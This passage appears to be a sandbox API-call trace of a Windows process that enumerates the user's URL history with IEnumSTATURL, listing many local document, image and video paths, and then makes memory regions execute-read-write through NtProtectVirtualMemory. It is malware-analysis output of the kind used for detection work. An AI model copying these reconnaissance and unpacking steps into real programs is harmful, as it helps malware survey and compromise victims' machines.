lpMultiByteStr="file:///C:/Users/aETAdzjz/Documents/z8Q_yDu1jaODNbm6Rg/7hCRqlfD-iyUCiLmVFAD.pptxODNbm6Rg/7hCRqlfD-iyUCiLmVFAD.pptx", lpUsedDefaultChar=0x0) returned 80 [0163.019] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1f025fd8, cbMultiByte=80, lpWideCharStr=0x1fcf0c4c, cchWideChar=161 | out: lpWideCharStr="file:///C:/Users/aETAdzjz/Documents/z8Q_yDu1jaODNbm6Rg/7hCRqlfD-iyUCiLmVFAD.pptx¨") returned 80 [0163.019] IEnumSTATURL:Next (in: This=0x1e2a39f8, celt=0x1, rgelt=0x1e7dfbe4, pceltFetched=0x1e7dfc10*=0x1 | out: rgelt=0x1e7dfbe4, pceltFetched=0x1e7dfc10*=0x1) returned 0x0 [0163.019] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/aETAdzjz/AppData/Roaming/yB3igwFf23yf.odt", cchWideChar=58, lpMultiByteStr=0x1e7debb4, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/aETAdzjz/AppData/Roaming/yB3igwFf23yf.odtz/AppData/Roaming/yB3igwFf23yf.odt", lpUsedDefaultChar=0x0) returned 58 [0163.019] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1f0244fc, cbMultiByte=58, lpWideCharStr=0x1f025f3c, cchWideChar=117 | out: lpWideCharStr="file:///C:/Users/aETAdzjz/AppData/Roaming/yB3igwFf23yf.odt妨ἂ열AࢨṾ⁈") returned 58 [0163.019] IEnumSTATURL:Next (in: This=0x1e2a39f8, celt=0x1, rgelt=0x1e7dfbe4, pceltFetched=0x1e7dfc10*=0x1 | out: rgelt=0x1e7dfbe4, pceltFetched=0x1e7dfc10*=0x1) returned 0x0 [0163.019] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/aETAdzjz/Pictures/1NAJeYEI5Zgd1vhacr/WvLHhy%20x3ETy9kM/CBxMNcpz16Eol3zD/9y34XP46nBQv3oftd.bmp", cchWideChar=110, lpMultiByteStr=0x1e7debb4, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/aETAdzjz/Pictures/1NAJeYEI5Zgd1vhacr/WvLHhy%20x3ETy9kM/CBxMNcpz16Eol3zD/9y34XP46nBQv3oftd.bmpNcpz16Eol3zD/9y34XP46nBQv3oftd.bmp", lpUsedDefaultChar=0x0) returned 110 [0163.019] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1f025fc0, cbMultiByte=110, lpWideCharStr=0x1fcf1aa4, cchWideChar=221 | out: lpWideCharStr="file:///C:/Users/aETAdzjz/Pictures/1NAJeYEI5Zgd1vhacr/WvLHhy%20x3ETy9kM/CBxMNcpz16Eol3zD/9y34XP46nBQv3oftd.bmpä") returned 110 [0163.020] IEnumSTATURL:Next (in: This=0x1e2a39f8, celt=0x1, rgelt=0x1e7dfbe4, pceltFetched=0x1e7dfc10*=0x1 | out: rgelt=0x1e7dfbe4, pceltFetched=0x1e7dfc10*=0x1) returned 0x0 [0163.020] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/aETAdzjz/AppData/Roaming/GU1xEN.png", cchWideChar=52, lpMultiByteStr=0x1e7debb4, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/aETAdzjz/AppData/Roaming/GU1xEN.pngETAdzjz/AppData/Roaming/GU1xEN.png", lpUsedDefaultChar=0x0) returned 52 [0163.020] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1f02603c, cbMultiByte=52, lpWideCharStr=0x1f026078, cchWideChar=105 | out: lpWideCharStr="file:///C:/Users/aETAdzjz/AppData/Roaming/GU1xEN.png؄ȓ열AࢨṾἘ") returned 52 [0163.020] IEnumSTATURL:Next (in: This=0x1e2a39f8, celt=0x1, rgelt=0x1e7dfbe4, pceltFetched=0x1e7dfc10*=0x1 | out: rgelt=0x1e7dfbe4, pceltFetched=0x1e7dfc10*=0x1) returned 0x0 [0163.020] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/aETAdzjz/Desktop/_Eg-Uxlg8tb.png", cchWideChar=49, lpMultiByteStr=0x1e7debb4, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/aETAdzjz/Desktop/_Eg-Uxlg8tb.pngs/aETAdzjz/Desktop/_Eg-Uxlg8tb.png", lpUsedDefaultChar=0x0) returned 49 [0163.020] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1f0260f0, cbMultiByte=49, lpWideCharStr=0x1f026128, cchWideChar=99 | out: lpWideCharStr="file:///C:/Users/aETAdzjz/Desktop/_Eg-Uxlg8tb.png㳗열AࢨṾṰ") returned 49 [0163.020] IEnumSTATURL:Next (in: This=0x1e2a39f8, celt=0x1, rgelt=0x1e7dfbe4, pceltFetched=0x1e7dfc10*=0x1 | out: rgelt=0x1e7dfbe4, pceltFetched=0x1e7dfc10*=0x1) returned 0x0 [0163.021] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/aETAdzjz/AppData/Roaming/-wCL.bmp", cchWideChar=50, lpMultiByteStr=0x1e7debb4, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/aETAdzjz/AppData/Roaming/-wCL.bmp/aETAdzjz/AppData/Roaming/-wCL.bmp", lpUsedDefaultChar=0x0) returned 50 [0163.022] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1f026240, cbMultiByte=50, lpWideCharStr=0x1f026278, cchWideChar=101 | out: lpWideCharStr="file:///C:/Users/aETAdzjz/AppData/Roaming/-wCL.bmp㈰̆열AࢨṾᴜ") returned 50 [0163.022] IEnumSTATURL:Next (in: This=0x1e2a39f8, celt=0x1, rgelt=0x1e7dfbe4, pceltFetched=0x1e7dfc10*=0x1 | out: rgelt=0x1e7dfbe4, pceltFetched=0x1e7dfc10*=0x1) returned 0x0 [0163.022] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/aETAdzjz/Documents/vFq23fzsh1OXx8.docx", cchWideChar=55, lpMultiByteStr=0x1e7debb4, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/aETAdzjz/Documents/vFq23fzsh1OXx8.docxdzjz/Documents/vFq23fzsh1OXx8.docx", lpUsedDefaultChar=0x0) returned 55 [0163.022] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1f026398, cbMultiByte=55, lpWideCharStr=0x1f0263d4, cchWideChar=111 | out: lpWideCharStr="file:///C:/Users/aETAdzjz/Documents/vFq23fzsh1OXx8.docxⒷ열AࢨṾ᮸") returned 55 [0163.022] IEnumSTATURL:Next (in: This=0x1e2a39f8, celt=0x1, rgelt=0x1e7dfbe4, pceltFetched=0x1e7dfc10*=0x1 | out: rgelt=0x1e7dfbe4, pceltFetched=0x1e7dfc10*=0x1) returned 0x0 [0163.022] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/aETAdzjz/Documents/_Lw_Ioi_qC44f0vdNG/tadv%20MTsdp29S.doc", cchWideChar=74, lpMultiByteStr=0x1e7debb4, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/aETAdzjz/Documents/_Lw_Ioi_qC44f0vdNG/tadv%20MTsdp29S.docIoi_qC44f0vdNG/tadv%20MTsdp29S.doc", lpUsedDefaultChar=0x0) returned 74 [0163.022] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1f026450, cbMultiByte=74, lpWideCharStr=0x1f025144, cchWideChar=149 | out: lpWideCharStr="file:///C:/Users/aETAdzjz/Documents/_Lw_Ioi_qC44f0vdNG/tadv%20MTsdp29S.doc\x9c") returned 74 [0163.023] IEnumSTATURL:Next (in: This=0x1e2a39f8, celt=0x1, rgelt=0x1e7dfbe4, pceltFetched=0x1e7dfc10*=0x1 | out: rgelt=0x1e7dfbe4, pceltFetched=0x1e7dfc10*=0x1) returned 0x0 [0163.023] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/aETAdzjz/Documents/z8Q_yDu1jaODNbm6Rg/uhxF0nw/nw6yRN_BJk3Mts7Y2y.csv", cchWideChar=85, lpMultiByteStr=0x1e7debb4, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/aETAdzjz/Documents/z8Q_yDu1jaODNbm6Rg/uhxF0nw/nw6yRN_BJk3Mts7Y2y.csv6Rg/uhxF0nw/nw6yRN_BJk3Mts7Y2y.csv", lpUsedDefaultChar=0x0) returned 85 [0163.023] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1f0264a8, cbMultiByte=85, lpWideCharStr=0x1fcf0e00, cchWideChar=171 | out: lpWideCharStr="file:///C:/Users/aETAdzjz/Documents/z8Q_yDu1jaODNbm6Rg/uhxF0nw/nw6yRN_BJk3Mts7Y2y.csv") returned 85 [0163.023] IEnumSTATURL:Next (in: This=0x1e2a39f8, celt=0x1, rgelt=0x1e7dfbe4, pceltFetched=0x1e7dfc10*=0x1 | out: rgelt=0x1e7dfbe4, pceltFetched=0x1e7dfc10*=0x1) returned 0x0 [0163.023] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/aETAdzjz/Pictures/1NAJeYEI5Zgd1vhacr/WvLHhy%20x3ETy9kM/CBxMNcpz16Eol3zD/n6HrghC/XYb3sFpa/flKrtht4wx9pl/qhEO%20K0/RVrb4bZ0RuoB5x.jpg", cchWideChar=148, lpMultiByteStr=0x1e7debb4, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/aETAdzjz/Pictures/1NAJeYEI5Zgd1vhacr/WvLHhy%20x3ETy9kM/CBxMNcpz16Eol3zD/n6HrghC/XYb3sFpa/flKrtht4wx9pl/qhEO%20K0/RVrb4bZ0RuoB5x.jpgr", lpUsedDefaultChar=0x0) returned 148 [0163.023] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcf0b84, cbMultiByte=148, lpWideCharStr=0x1fcf3018, cchWideChar=297 | out: lpWideCharStr="file:///C:/Users/aETAdzjz/Pictures/1NAJeYEI5Zgd1vhacr/WvLHhy%20x3ETy9kM/CBxMNcpz16Eol3zD/n6HrghC/XYb3sFpa/flKrtht4wx9pl/qhEO%20K0/RVrb4bZ0RuoB5x.jpgİ") returned 148 [0163.023] IEnumSTATURL:Next (in: This=0x1e2a39f8, celt=0x1, rgelt=0x1e7dfbe4, pceltFetched=0x1e7dfc10*=0x1 | out: rgelt=0x1e7dfbe4, pceltFetched=0x1e7dfc10*=0x1) returned 0x0 [0163.024] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/aETAdzjz/Documents/z8Q_yDu1jaODNbm6Rg/uhxF0nw/dtexXnPV-q5EUwy6.ppt", cchWideChar=83, lpMultiByteStr=0x1e7debb4, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/aETAdzjz/Documents/z8Q_yDu1jaODNbm6Rg/uhxF0nw/dtexXnPV-q5EUwy6.pptbm6Rg/uhxF0nw/dtexXnPV-q5EUwy6.ppt", lpUsedDefaultChar=0x0) returned 83 [0163.024] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1f02650c, cbMultiByte=83, lpWideCharStr=0x1f026564, cchWideChar=167 | out: lpWideCharStr="file:///C:/Users/aETAdzjz/Documents/z8Q_yDu1jaODNbm6Rg/uhxF0nw/dtexXnPV-q5EUwy6.ppt瑦열AࢨṾ᧰") returned 83 [0163.024] IEnumSTATURL:Next (in: This=0x1e2a39f8, celt=0x1, rgelt=0x1e7dfbe4, pceltFetched=0x1e7dfc10*=0x1 | out: rgelt=0x1e7dfbe4, pceltFetched=0x1e7dfc10*=0x1) returned 0x0 [0163.024] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/aETAdzjz/Documents/Pn985y8.pptx", cchWideChar=48, lpMultiByteStr=0x1e7debb4, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/aETAdzjz/Documents/Pn985y8.pptxrs/aETAdzjz/Documents/Pn985y8.pptx", lpUsedDefaultChar=0x0) returned 48 [0163.024] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1f0260f0, cbMultiByte=48, lpWideCharStr=0x1f026610, cchWideChar=97 | out: lpWideCharStr="file:///C:/Users/aETAdzjz/Documents/Pn985y8.pptx?圵열AࢨṾᦈ") returned 48 [0163.024] IEnumSTATURL:Next (in: This=0x1e2a39f8, celt=0x1, rgelt=0x1e7dfbe4, pceltFetched=0x1e7dfc10*=0x1 | out: rgelt=0x1e7dfbe4, pceltFetched=0x1e7dfc10*=0x1) returned 0x0 [0163.024] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/aETAdzjz/AppData/Roaming/POoDHAxD7MjNVptfY3.mkv", cchWideChar=64, lpMultiByteStr=0x1e7debb4, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/aETAdzjz/AppData/Roaming/POoDHAxD7MjNVptfY3.mkvata/Roaming/POoDHAxD7MjNVptfY3.mkv", lpUsedDefaultChar=0x0) returned 64 [0163.024] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcf0028, cbMultiByte=64, lpWideCharStr=0x1f026678, cchWideChar=129 | out: lpWideCharStr="file:///C:/Users/aETAdzjz/AppData/Roaming/POoDHAxD7MjNVptfY3.mkv㴲춐열AࢨṾᤀ") returned 64 [0163.024] IEnumSTATURL:Next (in: This=0x1e2a39f8, celt=0x1, rgelt=0x1e7dfbe4, pceltFetched=0x1e7dfc10*=0x1 | out: rgelt=0x1e7dfbe4, pceltFetched=0x1e7dfc10*=0x1) returned 0x0 [0163.025] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/aETAdzjz/Videos/e1qzwTZ1f8lqwGIE.mkv", cchWideChar=53, lpMultiByteStr=0x1e7debb4, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/aETAdzjz/Videos/e1qzwTZ1f8lqwGIE.mkvTAdzjz/Videos/e1qzwTZ1f8lqwGIE.mkv", lpUsedDefaultChar=0x0) returned 53 [0163.025] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1f026708, cbMultiByte=53, lpWideCharStr=0x1f026744, cchWideChar=107 | out: lpWideCharStr="file:///C:/Users/aETAdzjz/Videos/e1qzwTZ1f8lqwGIE.mkv㇑열AࢨṾᡌ") returned 53 [0163.025] IEnumSTATURL:Next (in: This=0x1e2a39f8, celt=0x1, rgelt=0x1e7dfbe4, pceltFetched=0x1e7dfc10*=0x1 | out: rgelt=0x1e7dfbe4, pceltFetched=0x1e7dfc10*=0x1) returned 0x0 [0163.025] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/aETAdzjz/Pictures/1NAJeYEI5Zgd1vhacr/WvLHhy%20x3ETy9kM/CBxMNcpz16Eol3zD/dYwYW9.bmp", cchWideChar=99, lpMultiByteStr=0x1e7debb4, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/aETAdzjz/Pictures/1NAJeYEI5Zgd1vhacr/WvLHhy%20x3ETy9kM/CBxMNcpz16Eol3zD/dYwYW9.bmpETy9kM/CBxMNcpz16Eol3zD/dYwYW9.bmp", lpUsedDefaultChar=0x0) returned 99 [0163.025] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1f0267bc, cbMultiByte=99, lpWideCharStr=0x1f025244, cchWideChar=199 | out: lpWideCharStr="file:///C:/Users/aETAdzjz/Pictures/1NAJeYEI5Zgd1vhacr/WvLHhy%20x3ETy9kM/CBxMNcpz16Eol3zD/dYwYW9.bmp") returned 99 [0163.025] IEnumSTATURL:Next (in: This=0x1e2a39f8, celt=0x1, rgelt=0x1e7dfbe4, pceltFetched=0x1e7dfc10*=0x1 | out: rgelt=0x1e7dfbe4, pceltFetched=0x1e7dfc10*=0x1) returned 0x0 [0163.026] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/aETAdzjz/Videos/xq36g/EM%20H80dtKc%20K4IpEweBv.mkv", cchWideChar=67, lpMultiByteStr=0x1e7debb4, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/aETAdzjz/Videos/xq36g/EM%20H80dtKc%20K4IpEweBv.mkvxq36g/EM%20H80dtKc%20K4IpEweBv.mkv", lpUsedDefaultChar=0x0) returned 67 [0163.026] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcf0028, cbMultiByte=67, lpWideCharStr=0x1fcf06d0, cchWideChar=135 | out: lpWideCharStr="file:///C:/Users/aETAdzjz/Videos/xq36g/EM%20H80dtKc%20K4IpEweBv.mkv") returned 67 [0163.026] IEnumSTATURL:Next (in: This=0x1e2a39f8, celt=0x1, rgelt=0x1e7dfbe4, pceltFetched=0x1e7dfc10*=0x1 | out: rgelt=0x1e7dfbe4, pceltFetched=0x1e7dfc10*=0x1) returned 0x0 [0163.026] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/aETAdzjz/Documents/z8Q_yDu1jaODNbm6Rg/4Xb1XZcxF82.csv", cchWideChar=70, lpMultiByteStr=0x1e7debb4, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/aETAdzjz/Documents/z8Q_yDu1jaODNbm6Rg/4Xb1XZcxF82.csvz8Q_yDu1jaODNbm6Rg/4Xb1XZcxF82.csv", lpUsedDefaultChar=0x0) returned 70 [0163.026] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1f0267bc, cbMultiByte=70, lpWideCharStr=0x1f026808, cchWideChar=141 | out: lpWideCharStr="file:///C:/Users/aETAdzjz/Documents/z8Q_yDu1jaODNbm6Rg/4Xb1XZcxF82.csv獯景열AࢨṾᝤ") returned 70 [0163.026] IEnumSTATURL:Next (in: This=0x1e2a39f8, celt=0x1, rgelt=0x1e7dfbe4, pceltFetched=0x1e7dfc10*=0x1 | out: rgelt=0x1e7dfbe4, pceltFetched=0x1e7dfc10*=0x1) returned 0x0 [0163.026] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/aETAdzjz/Documents/_Lw_Ioi_qC44f0vdNG/EeP8L9XDz_ZfOB.ods", cchWideChar=73, lpMultiByteStr=0x1e7debb4, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/aETAdzjz/Documents/_Lw_Ioi_qC44f0vdNG/EeP8L9XDz_ZfOB.ods_Ioi_qC44f0vdNG/EeP8L9XDz_ZfOB.ods", lpUsedDefaultChar=0x0) returned 73 [0163.026] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1f0268a4, cbMultiByte=73, lpWideCharStr=0x1f025048, cchWideChar=147 | out: lpWideCharStr="file:///C:/Users/aETAdzjz/Documents/_Lw_Ioi_qC44f0vdNG/EeP8L9XDz_ZfOB.ods") returned 73 [0163.026] IEnumSTATURL:Next (in: This=0x1e2a39f8, celt=0x1, rgelt=0x1e7dfbe4, pceltFetched=0x1e7dfc10*=0x1 | out: rgelt=0x1e7dfbe4, pceltFetched=0x1e7dfc10*=0x1) returned 0x0 [0163.027] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/aETAdzjz/Pictures/l-sb6rmCiYZQh/IFRVC2MaAXR_7EyzG.png", cchWideChar=70, lpMultiByteStr=0x1e7debb4, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/aETAdzjz/Pictures/l-sb6rmCiYZQh/IFRVC2MaAXR_7EyzG.png-sb6rmCiYZQh/IFRVC2MaAXR_7EyzG.png", lpUsedDefaultChar=0x0) returned 70 [0163.027] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1f0267bc, cbMultiByte=70, lpWideCharStr=0x1f02689c, cchWideChar=141 | out: lpWideCharStr="file:///C:/Users/aETAdzjz/Pictures/l-sb6rmCiYZQh/IFRVC2MaAXR_7EyzG.pngᾆ열AࢨṾᛐ") returned 70 [0163.027] IEnumSTATURL:Next (in: This=0x1e2a39f8, celt=0x1, rgelt=0x1e7dfbe4, pceltFetched=0x1e7dfc10*=0x1 | out: rgelt=0x1e7dfbe4, pceltFetched=0x1e7dfc10*=0x1) returned 0x0 [0163.027] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/aETAdzjz/Desktop/Qq8L.gif", cchWideChar=42, lpMultiByteStr=0x1e7debb4, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/aETAdzjz/Desktop/Qq8L.gifC:/Users/aETAdzjz/Desktop/Qq8L.gif", lpUsedDefaultChar=0x0) returned 42 [0163.027] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1f026938, cbMultiByte=42, lpWideCharStr=0x1f026968, cchWideChar=85 | out: lpWideCharStr="file:///C:/Users/aETAdzjz/Desktop/Qq8L.gifᨕ崀열AࢨṾᘼ") returned 42 [0163.027] IEnumSTATURL:Next (in: This=0x1e2a39f8, celt=0x1, rgelt=0x1e7dfbe4, pceltFetched=0x1e7dfc10*=0x1 | out: rgelt=0x1e7dfbe4, pceltFetched=0x1e7dfc10*=0x1) returned 0x0 [0163.027] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/aETAdzjz/Desktop/w6p-n2Pn4c_YiXCLNKKF.xlsx", cchWideChar=59, lpMultiByteStr=0x1e7debb4, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/aETAdzjz/Desktop/w6p-n2Pn4c_YiXCLNKKF.xlsx/Desktop/w6p-n2Pn4c_YiXCLNKKF.xlsx", lpUsedDefaultChar=0x0) returned 59 [0163.027] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1f0244fc, cbMultiByte=59, lpWideCharStr=0x1f026aa8, cchWideChar=119 | out: lpWideCharStr="file:///C:/Users/aETAdzjz/Desktop/w6p-n2Pn4c_YiXCLNKKF.xlsx楍열AࢨṾᓜ") returned 59 [0163.028] IEnumSTATURL:Next (in: This=0x1e2a39f8, celt=0x1, rgelt=0x1e7dfbe4, pceltFetched=0x1e7dfc10*=0x1 | out: rgelt=0x1e7dfbe4, pceltFetched=0x1e7dfc10*=0x1) returned 0x0 [0163.028] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/aETAdzjz/Documents/zGwARxcKl_.pptx", cchWideChar=51, lpMultiByteStr=0x1e7debb4, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/aETAdzjz/Documents/zGwARxcKl_.pptxaETAdzjz/Documents/zGwARxcKl_.pptx", lpUsedDefaultChar=0x0) returned 51 [0163.028] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1f0260f0, cbMultiByte=51, lpWideCharStr=0x1f026b24, cchWideChar=103 | out: lpWideCharStr="file:///C:/Users/aETAdzjz/Documents/zGwARxcKl_.pptx̆열AࢨṾᑰ") returned 51 [0163.028] IEnumSTATURL:Next (in: This=0x1e2a39f8, celt=0x1, rgelt=0x1e7dfbe4, pceltFetched=0x1e7dfc10*=0x1 | out: rgelt=0x1e7dfbe4, pceltFetched=0x1e7dfc10*=0x1) returned 0x0 [0163.028] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/aETAdzjz/Documents/N_vlEiah8iZK7%20TVL6J.pptx", cchWideChar=62, lpMultiByteStr=0x1e7debb4, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/aETAdzjz/Documents/N_vlEiah8iZK7%20TVL6J.pptxcuments/N_vlEiah8iZK7%20TVL6J.pptx", lpUsedDefaultChar=0x0) returned 62 [0163.028] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1f026b98, cbMultiByte=62, lpWideCharStr=0x1f026bdc, cchWideChar=125 | out: lpWideCharStr="file:///C:/Users/aETAdzjz/Documents/N_vlEiah8iZK7%20TVL6J.pptx송匣열AࢨṾᎠ") returned 62 [0163.028] IEnumSTATURL:Next (in: This=0x1e2a39f8, celt=0x1, rgelt=0x1e7dfbe4, pceltFetched=0x1e7dfc10*=0x1 | out: rgelt=0x1e7dfbe4, pceltFetched=0x1e7dfc10*=0x1) returned 0x0 [0163.028] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/aETAdzjz/Desktop/cP994yD%20UhaiThHzcL.png", cchWideChar=58, lpMultiByteStr=0x1e7debb4, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/aETAdzjz/Desktop/cP994yD%20UhaiThHzcL.pngz/Desktop/cP994yD%20UhaiThHzcL.png", lpUsedDefaultChar=0x0) returned 58 [0163.028] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1f0244fc, cbMultiByte=58, lpWideCharStr=0x1f026c60, cchWideChar=117 | out: lpWideCharStr="file:///C:/Users/aETAdzjz/Desktop/cP994yD%20UhaiThHzcL.png쒻吭열AࢨṾጤ") returned 58 [0163.029] IEnumSTATURL:Next (in: This=0x1e2a39f8, celt=0x1, rgelt=0x1e7dfbe4, pceltFetched=0x1e7dfc10*=0x1 | out: rgelt=0x1e7dfbe4, pceltFetched=0x1e7dfc10*=0x1) returned 0x0 [0163.029] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/aETAdzjz/Videos/xq36g/ADZfCUNNpk76gYBHuh/fzxXCIUPgHEcfCS_/aBXJd4BiZj9eCi8Ye.flv", cchWideChar=96, lpMultiByteStr=0x1e7debb4, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/aETAdzjz/Videos/xq36g/ADZfCUNNpk76gYBHuh/fzxXCIUPgHEcfCS_/aBXJd4BiZj9eCi8Ye.flvCIUPgHEcfCS_/aBXJd4BiZj9eCi8Ye.flv", lpUsedDefaultChar=0x0) returned 96 [0163.029] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1f026ce4, cbMultiByte=96, lpWideCharStr=0x1fcf1380, cchWideChar=193 | out: lpWideCharStr="file:///C:/Users/aETAdzjz/Videos/xq36g/ADZfCUNNpk76gYBHuh/fzxXCIUPgHEcfCS_/aBXJd4BiZj9eCi8Ye.flvÈ") returned 96 [0163.029] IEnumSTATURL:Next (in: This=0x1e2a39f8, celt=0x1, rgelt=0x1e7dfbe4, pceltFetched=0x1e7dfc10*=0x1 | out: rgelt=0x1e7dfbe4, pceltFetched=0x1e7dfc10*=0x1) returned 0x0 [0163.033] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x40a000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x40a000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0163.033] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x404000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x404000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0163.034] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x402000, 